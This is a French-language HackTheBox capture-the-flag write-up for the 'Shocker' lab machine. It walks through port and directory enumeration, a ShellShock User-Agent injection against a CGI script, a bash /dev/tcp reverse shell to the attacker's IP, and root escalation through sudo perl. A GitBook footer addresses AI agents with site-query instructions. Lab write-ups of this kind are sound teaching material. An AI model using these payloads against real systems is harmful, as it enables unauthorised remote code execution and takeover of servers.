> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Compte rendu HackTheBox de Shocker

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**Compétences :**

* Attaque ShellShock (User-Agent)
* Abus du privilège Sudoers (Perl)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/cb45f131e4942cc02005bbcb8fcb32f1f50f2144" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/b1ee4de38fa7a2a29bdf8c0c13d6547da77157b8" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="/files/e90f2cc9e8639388b57f12670d11eb12974034a9" alt="" width="563"><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (80.2222)

<figure><img src="/files/41879d760c547be46d97fabf29fcae5aa4e2069e" alt="" width="563"><figcaption></figcaption></figure>

Analyse des versions des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="/files/4241a207e3c920f743fa26b28c432aca5e4323af" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/6c0c6c1f519fa27d7ed296f330a0b349ebe21721" alt=""><figcaption></figcaption></figure>

#### Énumération des répertoires

Nous utilisons **WFuzz** pour identifier les répertoires accessibles :

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="/files/84733ea1d5383da257aeeccc0fb810f975489d3e" alt=""><figcaption></figcaption></figure>

Cela révèle le **cgi-bin** répertoire, souvent associé à des scripts exploitables.

## Vulnérabilité ShellShock

#### Recherche de fichiers exploitables

Nous filtrons les fichiers avec des extensions comme `.sh`, `.pl`, ou `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

Le **user.sh** fichier est identifié. Ce script semble dynamique et peut être vulnérable.

<figure><img src="/files/519cb79f7457a7ed7d0eff3c32b94ce82ae35460" alt=""><figcaption></figcaption></figure>

#### Détection de la vulnérabilité

Nous utilisons le script Nmap suivant pour tester la vulnérabilité :

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

Le scan confirme que le **user.sh** fichier est vulnérable à ShellShock.

<figure><img src="/files/0cd4b1a7ac0831a8de9de8bb984660adee889460" alt=""><figcaption></figcaption></figure>

#### Exécution de la commande

Pour tester l'exécution de commandes, nous utilisons **curl** avec un User-Agent malveillant :

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

Cela renvoie le nom d'utilisateur actif.

<figure><img src="/files/f450df082108b51b991d0a6ce7c3c95cf15fd20d" alt=""><figcaption></figcaption></figure>

#### Shell inversé

Pour obtenir un shell inversé :

1. Écoutez sur le port 443 :

```bash
nc -nlvp 443
```

2. Injectez le payload suivant :

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="/files/9b51a18d77553be8dfd53be4803ee3eb07853141" alt=""><figcaption></figcaption></figure></div>

### Drapeau user.txt :)

<figure><img src="/files/0b500fb64d2c0699613e7b23b771ffdaf4a5fc39" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges

### Sudoers - Perl

Lors de l'analyse de **droits Sudoers** , nous constatons que l'utilisateur a la permission d'exécuter `perl` en tant que **root**. Cela peut être vérifié avec la commande suivante :

```bash
sudo -l 
```

<figure><img src="/files/7f49f2661f5ec8387bf7860117f3bfb9a66a3d98" alt=""><figcaption></figcaption></figure>

#### Exploitation

Pour exploiter cette configuration et obtenir un shell avec les privilèges root, injectez simplement la commande suivante :

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="/files/bf6143367c8b67720e4e537a22f5ad0b27b88681" alt="" width="563"><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/4a26bba3825971ce1cf03c364daab89b2965cf4d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/15e3a543d8cb636caf0df64182f73e56c0c4ffc9" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
